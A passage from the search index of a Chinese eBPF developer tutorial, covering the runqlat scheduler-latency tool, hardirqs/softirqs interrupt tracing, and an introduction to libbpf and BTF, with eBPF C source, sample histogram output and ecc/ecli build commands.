发送给用户空间程序。在本文中，我们使用 eunomia-bpf 编译运行了这个例子。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » 总结","id":"49","title":"总结"},"5":{"body":"了解并尝试一下 eBPF 开发框架： BCC 开发各类小工具的例子： https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md （跑一遍，3-4h） libbpf 的一些例子： https://github.com/libbpf/libbpf-bootstrap （选感兴趣的运行一下，并阅读一下源代码，2h） 基于 libbpf 和 eunomia-bpf 的教程： https://github.com/eunomia-bpf/bpf-developer-tutorial （阅读 1-10 的部分，3-4h） 其他开发框架：Go 语言或者 Rust 语言，请自行搜索并且尝试（0-2h） 有任何问题或者想了解的东西，不管是不是和本项目相关，都可以在本项目的 discussions 里面开始讨论。 回答一些问题，并且进行一些尝试（2-5h）： 如何开发一个最简单的 eBPF 程序？ 如何用 eBPF 追踪一个内核功能或函数？有很多种方法，举出对应的代码； 有哪些方案能通过用户态和内核态通信？如何从用户态向内核态传送信息？如何从内核态向用户态传递信息？举出代码示例； 编写一个你自己的 eBPF 程序，实现一个功能； eBPF 程序的整个生命周期里面，分别在用户态和内核态做了哪些事情？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 了解如何开发 eBPF 程序（10-15h）","id":"5","title":"了解如何开发 eBPF 程序（10-15h）"},"50":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 runqlat 是一个 eBPF 工具，用于分析 Linux 系统的调度性能。具体来说，runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录","id":"50","title":"eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录"},"51":{"body":"本教程是 eBPF 入门开发实践系列的第九部分，主题是 \"捕获进程调度延迟\"。在此，我们将介绍一个名为 runqlat 的程序，其作用是以直方图的形式记录进程调度延迟。 Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行，或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 进程有几种可能的状态，如： 可运行或正在运行 可中断睡眠 不可中断睡眠 停止 僵尸进程 等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态：进程被置入睡眠状态，直到它需要的资源变得可用。然后，根据睡眠的类型，进程可以转移到可运行状态，或者保持睡眠。 即使进程拥有它需要的所有资源，它也不会立即开始运行。它会转移到可运行状态，与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程，并决定下一个要执行的进程。 根据系统的硬件配置，这个可运行队列（称为 CPU 运行队列）的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面，如果运行队列长，那么可能意味着 CPU 不够强大，无法执行所有的进程，或者 CPU 的核心数量不足。在理想的 CPU 利用率下，运行队列的长度将等于系统中的核心数量。 进程调度延迟，也被称为 \"run queue latency\"，是衡量线程从变得可运行（例如，接收到中断，促使其处理更多工作）到实际在 CPU 上运行的时间。在 CPU 饱和的情况下，你可以想象线程必须等待其轮次。但在其他奇特的场景中，这也可能发生，而且在某些情况下，它可以通过调优减少，从而提高整个系统的性能。 我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统： # runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | 在这个输出中，我们看到了一个双模分布，一个模在0到15微秒之间，另一个模在16到65毫秒之间。这些模式在分布（它仅仅是 \"count\" 列的视觉表示）中显示为尖峰。例如，读取一行：在追踪过程中，809个事件落入了16384到32767微秒的范围（16到32毫秒）。 在后续的教程中，我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析，以更好地理解和优化系统性能。同时，我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 runqlat 的实现利用了 eBPF 程序，它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时，trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时，handle_switch 函数会检索时间戳，并计算当前时间与排队时间之间的时间差。这个差值（或 delta）被用于更新进程的直方图，该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 原理","id":"51","title":"runqlat 原理"},"52":{"body":"","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 代码实现","id":"52","title":"runqlat 代码实现"},"53":{"body":"首先我们需要编写一个源代码文件 runqlat.bpf.c: // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_tracing.h>\n#include \"runqlat.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ struct hist *histp; u64 *tsp, slot; u32 pid, hkey; s64 delta; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (get_task_state(prev) == TASK_RUNNING) trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); pid = BPF_CORE_READ(next, pid); tsp = bpf_map_lookup_elem(&start, &pid); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (delta < 0) goto cleanup; if (targ_per_process) hkey = BPF_CORE_READ(next, tgid); else if (targ_per_thread) hkey = pid; else if (targ_per_pidns) hkey = pid_namespace(next); else hkey = -1; histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); if (!histp) goto cleanup; if (!histp->comm[0]) bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), next->comm); if (targ_ms) delta /= 1000000U; else delta /= 1000U; slot = log2l(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); cleanup: bpf_map_delete_elem(&start, &pid); return 0;\n} SEC(\"raw_tp/sched_wakeup\")\nint BPF_PROG(handle_sched_wakeup, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_wakeup_new\")\nint BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_switch\")\nint BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)\n{ return handle_switch(preempt, prev, next);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这其中定义了一些常量和全局变量，用于过滤对应的追踪目标： #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; 这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置，以定制 eBPF 程序的行为。 接下来，定义了一些 eBPF 映射： struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); 这些映射包括： cgroup_map 用于过滤 cgroup； start 用于存储进程入队时的时间戳； hists 用于存储直方图数据，记录进程调度延迟。 接下来是一些辅助函数： trace_enqueue 函数用于在进程入队时记录其时间戳： static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} pid_namespace 函数用于获取进程所属的 PID namespace： static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} handle_switch 函数是核心部分，用于处理调度切换事件，计算进程调度延迟并更新直方图数据： static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ ...\n} 首先，函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后，如果之前的进程状态为 TASK_RUNNING，则调用 trace_enqueue 函数记录进程的入队时间。接着，函数查找下一个进程的入队时间戳，如果找不到，直接返回。计算调度延迟（delta），并根据不同的选项设置（targ_per_process，targ_per_thread，targ_per_pidns），确定直方图映射的键（hkey）。然后查找或初始化直方图映射，更新直方图数据，最后删除进程的入队时间戳记录。 接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件： handle_sched_wakeup：用于处理 sched_wakeup 事件，当一个进程从睡眠状态被唤醒时触发。 handle_sched_wakeup_new：用于处理 sched_wakeup_new 事件，当一个新创建的进程被唤醒时触发。 handle_sched_switch：用于处理 sched_switch 事件，当调度器选择一个新的进程运行时触发。 这些入口点分别处理不同的调度事件，但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 最后，程序包含一个许可证声明： char LICENSE[] SEC(\"license\") = \"GPL\"; 这一声明指定了 eBPF 程序的许可证类型，这里使用的是 \"GPL\"。这对于许多内核功能是必需的，因为它们要求 eBPF 程序遵循 GPL 许可证。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.bpf.c","id":"53","title":"runqlat.bpf.c"},"54":{"body":"然后我们需要定义一个头文件runqlat.h，用来给用户态处理从内核态上报的事件： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#ifndef __RUNQLAT_H\n#define __RUNQLAT_H #define TASK_COMM_LEN 16\n#define MAX_SLOTS 26 struct hist { __u32 slots[MAX_SLOTS]; char comm[TASK_COMM_LEN];\n}; #endif /* __RUNQLAT_H */","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.h","id":"54","title":"runqlat.h"},"55":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ecli run examples/bpftools/runqlat/package.json -h\nUsage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR] A simple eBPF program Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --filter_cg set value of bool variable filter_cg --targ_per_process set value of bool variable targ_per_process --targ_per_thread set value of bool variable targ_per_thread --targ_per_pidns set value of bool variable targ_per_pidns --targ_ms set value of bool variable targ_ms --targ_tgid set value of pid_t variable targ_tgid Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run examples/bpftools/runqlat/package.json\nkey = 4294967295\ncomm = rcu_preempt (unit) : count distribution 0 -> 1 : 9 |**** | 2 -> 3 : 6 |** | 4 -> 7 : 12 |***** | 8 -> 15 : 28 |************* | 16 -> 31 : 40 |******************* | 32 -> 63 : 83 |****************************************| 64 -> 127 : 57 |*************************** | 128 -> 255 : 19 |********* | 256 -> 511 : 11 |***** | 512 -> 1023 : 2 | | 1024 -> 2047 : 2 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 0 | | 8192 -> 16383 : 0 | | 16384 -> 32767 : 1 | | $ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process\nkey = 3189\ncomm = cpptools (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 1 |*** | 16 -> 31 : 2 |******* | 32 -> 63 : 11 |****************************************| 64 -> 127 : 8 |***************************** | 128 -> 255 : 3 |********** | 完整源代码请见： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat 参考资料： https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 编译运行","id":"55","title":"编译运行"},"56":{"body":"runqlat 是一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令。 runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间，并根据这些信息优化进程调度，提高系统的性能。可以在 libbpf-tools 中找到最初的源代码： https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 总结","id":"56","title":"总结"},"57":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第十篇，在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求，以及内核中的异步事件。在 eBPF 中，我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件","id":"57","title":"eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件"},"58":{"body":"hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时，内核会将该请求映射到一个特定的中断向量，然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件，例如设备数据传输完成或设备错误。 softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制，用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比，软件中断处理程序具有更高的灵活性和可配置性。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 和 softirqs 是什么？","id":"58","title":"hardirqs 和 softirqs 是什么？"},"59":{"body":"在 eBPF 中，我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs，需要在相关的内核函数上放置 eBPF 程序。这些函数包括： 对于 hardirqs：irq_handler_entry 和 irq_handler_exit。 对于 softirqs：softirq_entry 和 softirq_exit。 当内核处理 hardirqs 或 softirqs 时，这些 eBPF 程序会被执行，从而收集相关信息，如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 为了捕获 hardirqs 和 softirqs，可以遵循以下步骤： 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。 编写 eBPF 程序，将其挂载到相应的内核函数上，以捕获 hardirqs 或 softirqs。 在 eBPF 程序中，收集中断处理程序的相关信息，并将这些信息存储在映射中。 在用户空间应用程序中，读取映射中的数据以分析和展示中断处理信息。 通过上述方法，我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件，以识别潜在的性能问题和与中断处理相关的问题。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 实现原理","id":"59","title":"实现原理"},"6":{"body":"原始的eBPF程序编写是非常繁琐和困难的。为了改变这一现状，llvm于2015年推出了可以将由高级语言编写的代码编译为eBPF字节码的功能，同时，eBPF 社区将 bpf() 等原始的系统调用进行了初步地封装，给出了libbpf库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在Linux的源码包的samples/bpf/目录下，有大量Linux提供的基于libbpf的eBPF样例代码。 一个典型的基于 libbpf 的eBPF程序具有*_kern.c和*_user.c两个文件，*_kern.c中书写在内核中的挂载点以及处理函数，*_user.c中书写用户态代码，完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考 该视频 然而由于该方法仍然较难理解且入门存在一定的难度，因此现阶段的eBPF程序开发大多基于一些工具，比如： BCC BPFtrace libbpf-bootstrap Go eBPF library 以及还有比较新的工具，例如 eunomia-bpf.","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 3. 如何使用eBPF编程","id":"6","title":"3. 如何使用eBPF编程"},"60":{"body":"hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct irq_key); __type(value, struct info);\n} infos SEC(\".maps\"); static struct info zero; static int handle_entry(int irq, struct irqaction *action)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (do_count) { struct irq_key key = {}; struct info *info; bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &key, &zero); if (!info) return 0; info->count += 1; return 0; } else { u64 ts = bpf_ktime_get_ns(); u32 key = 0; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; bpf_map_update_elem(&start, &key, &ts, BPF_ANY); return 0; }\n} static int handle_exit(int irq, struct irqaction *action)\n{ struct irq_key ikey = {}; struct info *info; u32 key = 0; u64 delta; u64 *tsp; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; tsp = bpf_map_lookup_elem(&start, &key); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (!targ_ns) delta /= 1000U; bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); if (!info) return 0; if (!targ_dist) { info->count += delta; } else { u64 slot; slot = log2(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; info->slots[slot]++; } return 0;\n} SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码是一个 eBPF 程序，用于捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 包含必要的头文件和定义数据结构： #include <vmlinux.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" 该程序包含了 eBPF 开发所需的标准头文件，以及用于定义数据结构和映射的自定义头文件。 定义全局变量和映射： #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; ... 该程序定义了一些全局变量，用于配置程序的行为。例如，filter_cg 控制是否过滤 cgroup，targ_dist 控制是否显示执行时间的分布等。此外，程序还定义了三个映射，分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 定义两个辅助函数 handle_entry 和 handle_exit： 这两个函数分别在中断处理程序的入口和出口处被调用。handle_entry 记录开始时间戳或更新中断计数，handle_exit 计算中断处理程序的执行时间，并将结果存储到相应的信息映射中。 定义 eBPF 程序的入口点： SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} 这里定义了四个 eBPF 程序入口点，分别用于捕获中断处理程序的入口和出口事件。tp_btf 和 raw_tp 分别代表使用 BPF Type Format（BTF）和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。 Softirq 代码也类似，这里就不再赘述了。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 代码实现","id":"60","title":"hardirqs 代码实现"},"61":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 要编译这个程序，请使用 ecc 工具： $ ecc hardirqs.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run ./package.json","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 运行代码","id":"61","title":"运行代码"},"62":{"body":"在本章节（eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件）中，我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。我们详细讲解了示例代码，包括如何定义数据结构、映射以及 eBPF 程序入口点，以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。 通过学习本章节内容，您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法，以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 总结","id":"62","title":"总结"},"63":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 在本教程中，我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序，将 eBPF 应用打包为可执行文件，实现跨内核版本分发。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用","id":"63","title":"eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用"},"64":{"body":"libbpf 是一个 C 语言库，伴随内核版本分发，用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API，使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 使用 libbpf 库有以下优势： 它简化了 eBPF 程序的加载、更新和运行过程。 它提供了一组易于使用的 API，使开发者能够专注于编写核心逻辑，而不是处理底层细节。 它能够确保与内核中的 eBPF 子系统的兼容性，降低了维护成本。 同时，libbpf 和 BTF（BPF Type Format）都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF（BPF Type Format）是一种元数据格式，用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式，以描述内核中的数据结构，以便 eBPF 程序可以更轻松地访问和操作它们。 BTF 在实现跨内核版本兼容方面的关键作用如下： BTF 允许 eBPF 程序访问内核数据结构的详细类型信息，而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核，从而实现跨内核版本兼容。 通过使用 BPF CO-RE（Compile Once, Run Everywhere）技术，eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息，进而生成可以在不同内核版本上运行的 eBPF 程序。 结合 libbpf 和 BTF，eBPF 程序可以在各种不同版本的内核上运行，而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性，降低了开发和维护的难度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 